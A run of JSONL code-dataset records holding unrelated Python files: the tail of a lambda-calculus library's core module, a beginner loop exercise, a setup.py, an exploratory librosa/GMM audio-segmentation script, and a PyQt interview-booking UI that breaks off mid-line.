parsing.ParseError(\n \"Can't create body-less binding operator expression\",\n parsing.flatten_paren_struc(struc), None)\n result = BindingOp.binding_op_factory(op_class, var_list, body,\n assignment=assignment)\n return result\n\n @classmethod\n def random(cls, ctrl, body_type=type_t, max_type_depth=1):\n from . import test\n var_type = get_type_system().random_type(max_type_depth, 0.5)\n variable = test.random_term(var_type, usedset=test.random_used_vars,\n prob_used=0.2, prob_var=1.0)\n test.random_used_vars |= {variable}\n return cls(variable, ctrl(typ=type_t))\n\n\nclass LFun(BindingOp):\n \"\"\"A typed function. Can itself be used as an operator in a TypedExpr.\n\n \"\"\"\n canonical_name = \"Lambda\"\n secondary_names = {\"L\", \"λ\", \"lambda\"}\n op_name_uni=\"λ\"\n op_name_latex=\"\\\\lambda{}\"\n\n def __init__(self, var_or_vtype, body, varname=None, let=False,\n assignment=None, type_check=True):\n # Use placeholder typ argument of None. This is because the input type\n # won't be known until the var_or_vtype argument is parsed, which is\n # done in the superclass constructor.\n # sort of a hack, this could potentially cause odd side effects if\n # BindingOp.__init__ is changed without taking this into account.\n super().__init__(var_or_vtype=var_or_vtype, typ=None, body=body,\n varname=varname, body_type=body.type, assignment=assignment,\n type_check=type_check)\n self.type = FunType(self.vartype, body.type)\n self.let = let\n\n @property\n def argtype(self):\n return self.type.left\n\n @property\n def returntype(self):\n return self.type.right\n\n def functional(self):\n return True # no need to do any calculations\n\n def copy(self):\n r = LFun(self.argtype, self.body, self.varname, type_check=False)\n r.let = self.let\n return r\n\n def copy_local(self, var, arg, type_check=True):\n r = LFun(var, arg, type_check=type_check)\n r.let = self.let\n return r\n\n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n vacuous = False\n # env will not start with bound variable in it\n env.add_var_mapping(self.varname, self.argtype)\n # update mapping with new type\n left_principal = env.try_add_var_mapping(self.varname,\n unified_type.left)\n if left_principal is None:\n return None\n new_body = self.body\n if self.argtype != left_principal:\n # arg type needs to be adjusted.\n new_var = TypedTerm(self.varname, left_principal)\n else:\n new_var = self.var_instance\n\n if self.type.right != unified_type.right:\n new_body = new_body.try_adjust_type(unified_type.right,\n derivation_reason=derivation_reason,\n assignment=assignment)\n new_fun = self.copy_local(new_var, new_body)\n env.merge(new_body.get_type_env())\n if self.varname in env.var_mapping:\n del env.var_mapping[self.varname]\n new_fun = new_fun.under_type_assignment(env.type_mapping)\n return new_fun \n\n def apply(self,arg):\n \"\"\"Apply an argument directly to the function.\n\n `__call__` plus `reduce` is (almost) equivalent to `apply`, but using\n `apply` directly will not generate a derivations.\"\"\"\n\n # do I really want flexible equality here??\n # TODO: return to this. Right now a type mismatch still gets raised\n # during beta reduction.\n ts = get_type_system()\n if ts.eq_check(self.argtype, arg.type):\n # first check for potential variable name collisions when\n # substituting, and the substitute\n #TODO: do I want to actually return the result of alpha converting?\n # May be needed later?\n new_self = alpha_convert(self, unsafe_variables(self, arg))\n # TODO: the copy here is a hack. Right now identity functions\n # otherwise result in no copying at all, leading to very\n # wrong results. This needs to be tracked down to its root and\n # fixed.\n return (beta_reduce_ts(new_self.body, new_self.varname, arg)).copy()\n else:\n raise TypeMismatch(self,arg, \"Application\")\n\n def compose(self, other):\n \"\"\"Function composition.\"\"\"\n return fun_compose(self, other)\n\n def __mul__(self, other):\n \"\"\"Override `*` as function composition for LFuns. Note that this\n _only_ works for LFuns currently, not functional constants/variables.\"\"\"\n return self.compose(other)\n\n @classmethod\n def random(self, ctrl):\n from . import test\n # not great at reusing bound variables\n ftyp = get_type_system().random_from_class(types.FunType)\n return test.random_lfun(ftyp, ctrl)\n\ndef geach_combinator(gtype, ftype):\n body = term(\"g\", gtype)(term(\"f\", ftype)(term(\"x\", ftype.left)))\n combinator = LFun(gtype, LFun(ftype,\n LFun(ftype.left, body,varname=\"x\"),varname=\"f\"), varname=\"g\")\n return combinator\n\ndef fun_compose(g, f):\n \"\"\"Function composition using the geach combinator for the appropriate type,\n defined above.\"\"\"\n if (not (g.type.functional() and f.type.functional()\n and g.type.left == f.type.right)):\n raise types.TypeMismatch(g, f, \"Function composition type constraints not met\")\n combinator = geach_combinator(g.type, f.type)\n result = (combinator(g)(f)).reduce_all()\n return result\n\n\n###############\n#\n# Reduction code\n#\n###############\n\n\ndef unsafe_variables(fun, arg):\n \"\"\"For a function and an argument, return the set of variables that are not\n safe to use in application.\"\"\"\n return arg.free_variables() | fun.free_variables()\n\ndef beta_reduce_ts(t, varname, subst):\n if varname in t.free_variables():\n if (t.term() and t.op == varname):\n return subst # TODO copy??\n # we will be changing something in this expression, but not at this\n # level of recursion.\n parts = list()\n for p in t:\n parts.append(beta_reduce_ts(p, varname, subst))\n t = t.copy_local(*parts)\n return t\n\ndef variable_replace(expr, m):\n def transform(e):\n return TypedExpr.factory(m[e.op])\n return variable_transform(expr, m.keys(), transform)\n\ndef variable_replace_strict(expr, m):\n def transform(e):\n result = TypedExpr.factory(m[e.op])\n if result.type != e.type:\n raise TypeMismatch(e, result, \"Strict variable replace failed with mismatched types\")\n return result\n return variable_transform(expr, m.keys(), transform)\n\ndef term_replace_unify(expr, m):\n def transform(e):\n ts = get_type_system()\n result = TypedExpr.factory(m[e.op])\n if result.type != e.type:\n unify = ts.unify(result.type, e.type)\n if unify is None:\n raise TypeMismatch(e, result, \"Variable replace failed with mismatched types\")\n if unify == e.type: # unify gives us back e. Can we return e?\n if result.term() and result.op == e.op:\n return e\n else:\n return result\n elif unify == result.type: # unify consistent with result\n return result\n else: # unify results in a 3rd type\n result = result.try_adjust_type(unify, assignment=m)\n return result\n else:\n if result.term() and result.op == e.op:\n return e\n else:\n return result\n\n r = term_transform_rebuild(expr, m.keys(), transform)\n return r\n\ndef variable_convert(expr, m):\n def transform(e):\n return TypedTerm(m[e.op], e.type)\n return variable_transform(expr, m.keys(), transform)\n\ndef variable_transform(expr, dom, fun):\n \"\"\"Transform free instances of variables in expr, as determined by the\n function fun.\n\n Operates on a copy.\n expr: a TypedExpr\n dom: a set of variable names\n fun: a function from terms to TypedExprs.\"\"\"\n # TODO: check for properly named variables?\n # TODO: double check -- what if I recurse into a region where a variable\n # becomes free again?? I think this goes wrong\n targets = dom & expr.free_variables()\n if targets:\n if expr.term() and expr.op in targets:\n # expr itself is a term to be transformed.\n return fun(expr)\n expr = expr.copy()\n for i in range(len(expr.args)):\n expr.args[i] = variable_transform(expr.args[i], dom, fun)\n return expr\n\ndef term_transform_rebuild(expr, dom, fun):\n \"\"\"Transform free instances of variables in expr, as determined by the\n function fun.\n\n Operates on a copy.\n expr: a TypedExpr\n dom: a set of variable names\n fun: a function from terms to TypedExprs.\"\"\"\n\n targets = dom & expr.free_terms()\n if targets:\n if expr.term() and expr.op in targets:\n # expr itself is a term to be transformed.\n return fun(expr)\n seq = list()\n dirty = False\n for i in range(len(expr.args)):\n seq.append(term_transform_rebuild(expr.args[i], targets, fun))\n if seq[-1] != expr.args[i]:\n dirty = True\n if dirty:\n expr = expr.copy_local(*seq)\n return expr\n\n\n# TODO: these last two functions are very similar, make an abstracted version?\n\ndef alpha_variant(x, blockset):\n \"\"\"find a simple variant of string x that isn't in blocklist. Try adding\n numbers to the end, basically.\n side effect WARNING: updates blocklist itself to include the new\n variable.\"\"\"\n if not x in blockset:\n return x\n split = utils.vname_split(x)\n if len(split[1]) == 0:\n count = 1\n else:\n # TODO: double check this -- supposed to prevent counterintuitive things\n # like blocked \"a01\" resulting in \"a1\"\n count = int(split[1]) + 1\n prefix = split[0]\n t = prefix + str(count)\n while t in blockset:\n count += 1\n t = prefix + str(count)\n blockset.add(t) # note: fails for non-sets\n return t\n\ndef alpha_convert(t, blocklist):\n \"\"\" produce an alphabetic variant of t that is guaranteed not to have any\n variables in blocklist. \n\n Possibly will not change t.\"\"\"\n overlap = t.bound_variables() & blocklist\n full_bl = blocklist | t.free_variables() | t.bound_variables()\n # note that this relies on the side effect of alpha_variant...\n conversions = {x : alpha_variant(x, full_bl) for x in overlap}\n return alpha_convert_r(t, overlap, conversions)\n\ndef alpha_convert_r(t, overlap, conversions):\n overlap = overlap & t.bound_variables()\n if overlap:\n if isinstance(t, BindingOp) and t.varname in overlap:\n # the operator is binding variables in the overlap set.\n # rename instances of this variable that are free in the body of the\n # operator expression.\n t = t.alpha_convert(conversions[t.varname])\n parts = list()\n for i in range(len(t.args)):\n parts.append(alpha_convert_r(t.args[i], overlap, conversions))\n t = t.copy_local(*parts)\n return t\n\n\n\ndef is_symbol(s):\n \"A string s is a symbol if it starts with an alphabetic char.\"\n return (isinstance(s, str) and len(s) > 0\n and s[:1].isalpha()\n and not is_multiword(s))\n\ndef is_var_symbol(s):\n \"A logic variable symbol is an initial-lowercase string.\"\n return is_symbol(s) and s[0].islower()\n\ndef is_multiword(s):\n \"\"\"a string is multiword if there is intermediate (non-initial and\n non-trailing) whitespace.\"\"\"\n #TODO this could be more efficient\n return (len(s.strip().split()) != 1)\n\nclass DerivationStep(object):\n \"\"\"A single step of a derivation.\"\"\"\n def __init__(self, result, desc=None, origin=None, latex_desc=None,\n subexpression=None, trivial=False):\n self.result = result\n self.subexpression = subexpression\n if desc is None:\n if latex_desc is None:\n self.desc = self.latex_desc = \"\"\n else:\n self.desc = latex_desc\n else:\n self.desc = desc\n if latex_desc is None:\n self.latex_desc = desc\n else:\n self.latex_desc = latex_desc\n if isinstance(origin, TypedExpr):\n self.origin = (origin,)\n else:\n self.origin = tuple(origin)\n self.trivial = trivial\n\n def origin_str(self, latex=False):\n if len(self.origin) == 1:\n if latex:\n return self.origin[0].latex_str()\n else:\n return repr(self.origin[0])\n else:\n if latex:\n return ensuremath(\"(\" +\n (\" + \".join([o.latex_str() for o in self.origin])) + \")\")\n else:\n return \"(\" + (\" + \".join([repr(o) for o in self.origin])) + \")\"\n\n def __repr__(self):\n return (\"[DerivationStep origin: \"\n + repr(self.origin)\n + \", result: \"\n + repr(self.result)\n + \", description: \"\n + self.desc\n + \"]\")\n\nclass Derivation(object):\n \"\"\"A derivation sequence, consisting of DerivationSteps.\"\"\"\n def __init__(self, steps):\n self.steps = list()\n self.steps_hash = dict()\n if steps is not None:\n self.add_steps(steps)\n self.result = self[-1]\n else:\n self.result = None\n\n def add_step(self, s):\n self.steps_hash[len(self.steps)] = s\n self.steps.append(s)\n\n def add_steps(self, steps):\n for s in steps:\n self.add_step(s)\n\n def __iter__(self):\n return iter(self.steps)\n\n def __len__(self):\n return len(self.steps)\n\n def __getitem__(self, i):\n return self.steps[i]\n\n def steps_sequence(self, latex=False, ignore_trivial=False):\n l = list()\n if len(self.steps) > 0:\n l.append((self.steps[0].origin_str(latex), None, None))\n for i in range(len(self.steps)):\n # assume that origin matches previous result. Could check this.\n if self.steps[i].trivial and ignore_trivial:\n continue\n if latex:\n if self.steps[i].trivial:\n l.append((\"...\", self.steps[i].latex_desc,\n self.steps[i].subexpression))\n else:\n l.append((self.steps[i].result.latex_str(),\n self.steps[i].latex_desc,\n self.steps[i].subexpression))\n else:\n l.append((repr(self.steps[i].result),\n self.steps[i].desc,\n self.steps[i].subexpression))\n return l\n\n def equality_display(self, content, style=None):\n l = self.steps_sequence(latex=True, ignore_trivial=True)\n n = display.DisplayNode(content=content, parts=[step[0] for step in l],\n style = display.EqualityDisplay())\n return n\n\n def build_display_tree(self, recurse=False, parent=None, reason=None,\n style=None):\n defaultstyle = {\"align\": \"left\"}\n style = display.merge_styles(style, defaultstyle)\n node_style = display.LRDerivationDisplay(**style)\n l = self.steps_sequence(latex=True)\n parts = list()\n for (expr, subreason, subexpression) in l:\n if reason == \"\":\n reason = None\n if subexpression and subexpression.derivation and (recurse):\n parts.append(subexpression.derivation.build_display_tree(\n recurse=recurse,\n parent=expr,\n reason=subreason,\n style=style))\n else:\n parts.append(display.DisplayNode(content=expr,\n explanation=subreason, parts=None, style=node_style))\n if len(parts) == 0:\n parts = None\n return display.DisplayNode(content=parent, explanation=reason,\n parts=parts, style=node_style)\n\n def trace(self, recurse=True, style=None):\n return self.build_display_tree(recurse=recurse, style=style)\n\n def show(self, recurse=False, style=None):\n return self.trace(recurse=recurse, style=style)\n\n def _repr_html_(self):\n return self.build_display_tree(recurse=False)._repr_html_()\n\n def steps_str(self):\n l = self.steps_sequence(latex=False)\n s = \"\"\n i = 1\n for (expr, reason, subexpression) in l:\n if reason is None:\n s += \"%2i. %s\\n\" % (i, expr)\n else:\n s += \"%2i. %s (%s)\\n\" % (i, expr, reason)\n i += 1\n return s\n\n def __repr__(self):\n return self.steps_str()\n\n\ndef derivation_factory(result, desc=None, latex_desc=None, origin=None,\n steps=None, subexpression=None, trivial=False):\n \"\"\"Factory function for `Derivation`s. See `derived`.\"\"\"\n if origin is None:\n if steps is not None and len(steps) > 0:\n origin = steps[-1].result\n drv = Derivation(steps)\n # note: will make a copy of the derivation if steps is one; may be better to have something more efficient in the long run\n drv.add_step(DerivationStep(result, desc=desc, origin=origin,\n latex_desc=latex_desc, subexpression=subexpression, trivial=trivial))\n return drv\n\ndef derived(result, origin, desc=None, latex_desc=None, subexpression=None,\n allow_trivial=False):\n \"\"\"Convenience function to return a derived TypedExpr while adding a\n derivational step. Always return result, adds or updates its derivational\n history as a side effect.\"\"\"\n if isinstance(result, TypedTerm) and result.derivation is None:\n try:\n # need to manually copy the typeenv?? TODO: double check...\n tenv = result._type_env\n # avoid mixing up derivations on terms. TODO: how bad is this?\n result = result.copy()\n result._type_env = tenv\n except AttributeError: # no _type_env set\n result = result.copy()\n trivial = False\n if result == origin: # may be inefficient?\n if allow_trivial:\n trivial = True\n else:\n # a bit hacky, but this scenario has come up\n if result.derivation is None and result is not origin:\n result.derivation = origin.derivation\n return result\n if result.derivation is None:\n d = origin.derivation\n else:\n d = result.derivation\n result.derivation = derivation_factory(result, desc=desc,\n latex_desc=latex_desc,\n origin=origin,\n steps=d,\n subexpression=subexpression,\n trivial=trivial)\n return result\n\ndef add_derivation_step(te, result, origin, desc=None, latex_desc=None,\n subexpression=None, allow_trivial=False):\n trivial = False\n if result == origin: # may be inefficient?\n if allow_trivial:\n trivial = True\n else:\n return te\n if te.derivation is None:\n d = origin.derivation\n else:\n d = te.derivation\n te.derivation = derivation_factory(result, desc=desc,\n latex_desc=latex_desc,\n origin=origin,\n steps=d,\n subexpression=subexpression,\n trivial=trivial)\n return te\n\ndef add_subexpression_step(te, subexpr, desc=None, latex_desc=None):\n if subexpr.derivation is None or len(subexpr.derivation) == 0:\n return te\n start = subexpr.derivation[0].origin[0]\n end = subexpr.derivation[-1].origin[-1]\n add_derivation_step(te, end, start, desc=desc, latex_desc=latex_desc,\n subexpression=subexpr)\n return te\n","repo_name":"rawlins/lambda-notebook","sub_path":"lamb/meta/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":142727,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"44"} +{"seq_id":"23055557950","text":"a = 0\nwhile a < 101:\n print(a)\n a = a + 1\n if a == 7 or a :\n break\n\n\nfor i in range(1, 101):\n if i % 7 == 0 or \"7\" in str(i):\n continue\n print(i)\n\n\nfor i in range(1, 101):\n if i % 7 == 0 or \"7\" in str(i):\n pass\n else:\n print(\"hey\")\n print(i)\n\n\na = 0\nwhile a < 10:\n print(a)\n a = a + 1\nelse:\n print(\"finished successfully\")\n\n\na = \"a\"\nwhile a != \"q\":\n a = input(\"enter q or now: \")\n\nelse:\n print(\"finished successfully\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MichaelRing81/DevOps1411","sub_path":"Lesson 2c.py","file_name":"Lesson 2c.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1760229351","text":"#!/usr/bin/python\n#-*- coding:utf-8 –*-\nimport json\n\n\nteachers_dic={\n '老师姓名':'egon',\n '老师年龄':18,\n '老师性别':'male',\n }\n\nwith open('老师信息', 'a', encoding='utf-8') as f:\n f.write(json.dumps(teachers_dic))\n","repo_name":"liqiongqiong/Python","sub_path":"day7/课程/1 复习.py","file_name":"1 复习.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38161236809","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom distutils.core import setup\n\nwith open('requirements.txt') as f:\n required = f.read().splitlines()\n\nsetup(\n name=\"pydatset\",\n author=\"Daniele Ettore Ciriello\",\n author_email=\"ciriello.daniele@gmail.com\",\n version=\"0.1\",\n license=\"MIT\",\n url=\"https://github.com/dnlcrl/PyDatSet\",\n download_url=\"https://github.com/dnlcrl/PyDatSet\",\n description=\"Load and augment various datasets in Python for computer vision purposes\",\n py_modules=\"\",\n packages=['pydatset'],\n install_requires=required,\n scripts=\"\"\n)\n","repo_name":"dnlcrl/PyDatSet","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"73839475014","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n# region imports and consts\nfrom joblib import dump, load\nimport librosa\nimport math\nimport librosa.display as display\nimport IPython.display as ipd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.mixture import GaussianMixture\nimport fastaudio.core.signal as fcs\nimport GetTranscription\nfrom util_GMM_features import gmm_features\nlvpath = \"E:\\Datasets\\Voice\\Librivox\\dev\\LibriSpeech\\dev-clean\"\nlibri_train = \"E:\\Datasets\\Voice\\LibriSpeech\"\nmcvpath = \"E:\\Datasets\\Voice\\Mozilla Common Voice\\en\\cv-corpus-6.1-2020-12-11\\en\"\nsingle_word = \"./samples/but bowl.wav\"\nmodel1 =\"EM_samples2k_covar-spherical_hopLength-60_sr-12k.joblib\"\nmodel2 =\"EM_samples-1000_covar-spherical_hopLength-50_sr-10000.joblib\"\nmodel3 =\"EM_samples-2000_covar-spherical_hopLength-20_sr-8000.joblib\"\nmodel4 =\"EM_samples-2000_covar-spherical_hopLength-80_sr-8000.joblib\"\nmodel5 =\"EM_samples-2000_covar-spherical_hopLength-80_sr-16000.joblib\"\nmodel6 =\"EM_samples-4000_covar-spherical_hopLength-40_sr-8000.joblib\"\nmodel7 =\"EM_samples-2000_covar-spherical_hopLength-16_sr-16000.joblib\"\nmodel8=\"EM2c_samples-2000_covar-spherical_hopLength-8_sr-8000.joblib\"\n# endregion\n\n# In[3]:\n\n\n\nclips = fcs.get_audio_files(libri_train)\nclip = clips[6701]\nEM = load(model7)\nsr = 16000\nhop_length = int(sr/1000)\naudio = librosa.load(clip, sr=sr)[0]\n\n# In[3]:\ndef normalize(x, axis=0):\n return sklearn.preprocessing.minmax_scale(x, axis=axis)\n\n#region Test\n\n# In[1]:\nthree = gmm_features(audio,sr,hop_length)\nprint(three)\nprint(three.shape)\n\nx = EM.predict(three)\n\n# In[215]:\nplt.figure(figsize=(21, 9))\n#raudio= librosa.resample(y=audio, orig_sr=sr, target_sr=100)\n\nfor s in range(len(x)):\n if x[s]==2:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='r')\n if x[s]==1:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='y')\n if x[s]==0:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='g')\nplt.plot(audio)\n\n#endregion\n\n\n#In[]:\ngroups = []\nstart=0\nfor z in range(len(x)):\n if not x[z]==x[z-1]:\n groups.append([start,int(z*hop_length), x[z-1]])\n start= (z*hop_length)+1\n \n\n\n# In[177]:\n\n\nfig = plt.figure(figsize=(16, 16))\nplt.scatter(three[x == 0, 0], three[x == 0, 1], c='r')\nplt.scatter(three[x == 1, 0], three[x == 1, 1], c='b')\nplt.scatter(three[x == 2, 0], three[x == 2, 1], c='y')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n\n\n# In[174]:\n\nfig = plt.figure(figsize=(16, 16))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[x == 0, 0], three[x == 0, 1], three[x == 0, 2], c='r')\nplt.scatter(three[x == 1, 0], three[x == 1, 1], three[x == 1, 2], c='b')\nplt.scatter(three[x == 2, 0], three[x == 2, 1], three[x == 2, 2], c='y')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n# In[169]:\nfig = plt.figure(figsize=(16, 9))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[0], three[1], three[2])\n\n\n# In[170]:\n\n\nmodel = sklearn.cluster.KMeans(n_clusters=3)\nlabels = model.fit_predict(three)\n\nfig = plt.figure(figsize=(16, 9))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[labels == 0, 0], three[labels == 0, 1],\n three[labels == 0, 2], c='b')\nplt.scatter(three[labels == 1, 0], three[labels == 1, 1],\n three[labels == 1, 2], c='r')\nplt.scatter(three[labels == 2, 0], three[labels == 2, 1],\n three[labels == 2, 2], c='g')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n\n\n\n\n\n\n# In[147]:\n\n\nnormalize(three[:, 1])\nnp.argmax(three[:, 0])\nnp.set_printoptions(formatter={'int': lambda x: \"{0:0.3f}\".format(x)})\nprint(three[:, 0])\n\n\n# In[107]:\n\n\nplt.plot(three[x == 2, :])\n\n\n# In[178]:\n\n\nprint(len(x))\nprint(x)\nx[0:150]\n\n\n\n\n\n\n# In[ ]:\n\n\nplt.figure(figsize=(16, 9))\nscaled_audio = (sklearn.preprocessing.minmax_scale(audio, axis=0))\naudio_range = np.max(scaled_audio) - np.min(scaled_audio)\nmean = np.mean(scaled_audio)\nprint(audio_range)\ny = np.full(len(audio), mean-audio_range*0.01) # audio non silence min\ny1 = np.full(len(audio), mean+audio_range*0.01) # audio non silence max\ny2 = np.full(len(audio), 0.8)\ny3 = np.full(len(audio), 0.15)\nenergy = librosa.pcen(audio)\ndelta_energy = librosa.feature.delta(energy)\ndelta_energy2 = librosa.feature.delta(delta_energy)\n\nplt.plot(sklearn.preprocessing.minmax_scale(audio, axis=0)) # blue\nplt.plot(sklearn.preprocessing.minmax_scale(energy, axis=0)) # yellow\nplt.plot(sklearn.preprocessing.minmax_scale(delta_energy, axis=0)) # green\nplt.plot(y, c='r')\nplt.plot(y1, c='r')\nplt.plot(y2, c='g')\nplt.plot(y3, c='g')\n#plt.plot(sklearn.preprocessing.minmax_scale(delta_energy2, axis=0))\n\n\n# In[183]:\n\n\ndef split_by_energy(audio):\n frames = len(audio)\n # energy per frame\n energy = librosa.pcen(audio)\n # rate of change of energy\n delta_energy = librosa.feature.delta(energy)\n # rate of change of change of energy\n delta_energy2 = librosa.feature.delta(delta_energy)\n\n s_audio = sklearn.preprocessing.minmax_scale(audio, axis=0)\n s_energy = sklearn.preprocessing.minmax_scale(energy, axis=0)\n s_d_energy = sklearn.preprocessing.minmax_scale(delta_energy, axis=0)\n s_d_2_energy = sklearn.preprocessing.minmax_scale(delta_energy2, axis=0)\n\n audio_range = np.max(s_audio) - np.min(s_audio)\n print(audio_range)\n mean = np.mean(s_audio)\n\n #print(\"scaled delta energy less than 0.5 \", np.count_nonzero( s_d_energy<0.8))\n #print(\"scaled audio less than 0.5 \", np.count_nonzero(0.45 >s_audio or s_audio> 0.55))\n\n out = []\n # blue audio\n # yellow energy\n # green de1\n # red de2\n for x in range(frames):\n if s_audio[x] > (mean+0.01) or s_audio[x] < (mean-0.01):\n if s_d_energy[x] < 0.8:\n out.append(x)\n return out\n\n\n# In[184]:\nsplits = split_by_energy(audio[19800:27060])\nprint(len(splits))\nprint(splits)\n\n# In[187]:\n##\nplt.figure(figsize=(16, 9))\nenergy = librosa.pcen(audio[19800:27060])\n# plt.plot(audio) #-0.4-0.6\nplt.plot(normalize(energy))\nplt.plot(normalize(audio[19800:27060]))\n\nfor x in split_by_energy(audio[19800:27060]):\n plt.axvline(x=x, ymin=-1, ymax=1, label=str(x), c='g')\nfor x in energy:\n if math.sqrt(x**2) < 0.02:\n plt.axvline(x=x, ymin=-1, ymax=1, label=str(x), c='r')\nplt.show()\n\n\n# In[253]:\n\n\n\n# In[ ]:\n\n\n# In[15]:\n\n\nenergy = normalize(librosa.pcen(audio))\ndelta_energy = normalize(librosa.feature.delta(energy))\ndelta_energy2 = normalize(librosa.feature.delta(delta_energy))\n\nplt.figure(figsize=(16, 9))\nplt.plot(audio[:]) # -0.4-0.6\nplt.plot(energy) # -0.4-0.6\nplt.plot(delta_energy[:]) # 0- -30\nplt.plot(delta_energy2[:]) # 0-2\nplt.show()\n\nprint(energy)\nprint(delta_energy)\n#print (min(energy))\n\n\n# In[ ]:\n\n\n\n# In[246]:\n\n\nstft = librosa.stft(e[1781:4638], hop_length=220)\nprint(stft.shape)\nspectogram = np.abs(stft)\n\nlog_spectogram = librosa.amplitude_to_db(spectogram)\nspectogram\n\nplt.figure(figsize=(21, 9))\nlibrosa.display.specshow(log_spectogram, y_axis='log')\nplt.xlabel(\"Time\")\nplt.ylabel(\"Freq\")\nplt.colorbar()\nplt.show()\n\n\n\n\n# In[153]:\n\n\nx = audio\nspectral_centroids = librosa.feature.spectral_centroid(\n audio, sr=sr, hop_length=220)[0]\nframes = range(len(spectral_centroids))\nt = librosa.frames_to_time(frames)\nspectral_bandwidth_2 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, hop_length=220)[0]\nspectral_bandwidth_3 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, p=3, hop_length=220)[0]\nspectral_bandwidth_4 = librosa.feature.spectral_bandwidth(\n x+0.01, sr=sr, p=4, hop_length=220)[0]\n#spectral_bandwidth_5 = librosa.feature.spectral_bandwidth(x+0.01, sr=sr, p=5, hop_length=220)[0]\n#spectral_bandwidth_6 = librosa.feature.spectral_bandwidth(x+0.01, sr=sr, p=6, hop_length=220)[0]\nplt.figure(figsize=(15, 12))\nlibrosa.display.waveplot(x, sr=sr, alpha=0.4)\nplt.plot(t, normalize(spectral_bandwidth_2), color='r')\nplt.plot(t, normalize(spectral_bandwidth_3), color='g')\nplt.plot(t, normalize(spectral_bandwidth_4), color='y')\n#plt.plot(t, normalize(spectral_bandwidth_5), color='b')\n#plt.plot(t, normalize(spectral_bandwidth_6), color='pink')\nplt.legend(('p = 2', 'p = 3', 'p = 4'))\n\n\n\n\ndump(EM, 'EM200tied.joblib')\n\n\n# In[148]:\n\n\na_file = open(\"test.txt\", \"w\")\nnp.savetxt(a_file, three)\na_file.close()\n\n\n# In[ ]:\n","repo_name":"Majkil/Artefact","sub_path":"pg Split audio.py","file_name":"pg Split audio.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30446402890","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QMessageBox\r\n\r\nclass Ui_MainWindow(object):\r\n def setupUiInterview(self, MainWindow):\r\n MainWindow.resize(701, 366)\r\n MainWindow.setWindowIcon(QtGui.QIcon('strava.jpg'))\r\n MainWindow.setStyleSheet(\"background-color: #DD571C;\")\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n\r\n self.frame = QtWidgets.QFrame(self.centralwidget)\r\n self.frame.setStyleSheet(\"background-color: white;\")\r\n self.frame.setGeometry(QtCore.QRect(20, 20, 661, 326))\r\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\r\n\r\n self.label = QtWidgets.QLabel(self.frame)\r\n self.label.setGeometry(QtCore.QRect(5, 5, 661, 30))\r\n self.label.setObjectName(\"label\")\r\n font = QtGui.QFont()\r\n font.setFamily(\"Arial\")\r\n font.setPointSize(16)\r\n font.setBold(True)\r\n self.label.setFont(font)\r\n self.label.setAlignment(QtCore.Qt.AlignCenter)\r\n\r\n self.line = QtWidgets.QFrame(self.frame)\r\n self.line.setGeometry(QtCore.QRect(30, 35, 601, 20))\r\n self.line.setFrameShadow(QtWidgets.QFrame.Plain)\r\n self.line.setLineWidth(4)\r\n self.line.setFrameShape(QtWidgets.QFrame.HLine)\r\n\r\n self.calendarWidget = QtWidgets.QCalendarWidget(self.frame)\r\n self.calendarWidget.setGeometry(QtCore.QRect(230, 75, 401, 221))\r\n self.calendarWidget.setStyleSheet(\"background-color: gray; border: 1px solid black;\")\r\n\r\n self.timeEdit = QtWidgets.QTimeEdit(self.frame)\r\n self.timeEdit.setGeometry(QtCore.QRect(30, 125, 161, 51))\r\n font.setBold(True)\r\n font.setFamily(\"Times New Roman\")\r\n font.setPointSize(9)\r\n self.timeEdit.setStyleSheet(\"border: 1px solid black;\")\r\n self.timeEdit.setFont(font)\r\n\r\n self.pushButton = QtWidgets.QPushButton(self.frame, clicked=self.book)\r\n self.pushButton.setGeometry(QtCore.QRect(30, 220, 161, 51))\r\n self.pushButton.setStyleSheet(\"background-color: white;\")\r\n self.pushButton.setFont(font)\r\n\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def book(self):\r\n msg = QMessageBox()\r\n date = self.calendarWidget.selectedDate()\r\n strDate = date.toString(\"MM-dd-yyyy\")\r\n timeSelected = self.timeEdit.time()\r\n hour = timeSelected.hour()\r\n if hour == 0:\r\n hour = 12\r\n min = timeSelected.minute()\r\n if min <= 9:\r\n min = \"0\" + str(min)\r\n ampm = \"AM\"\r\n if hour > 12:\r\n ampm = \"PM\"\r\n timeSelected = 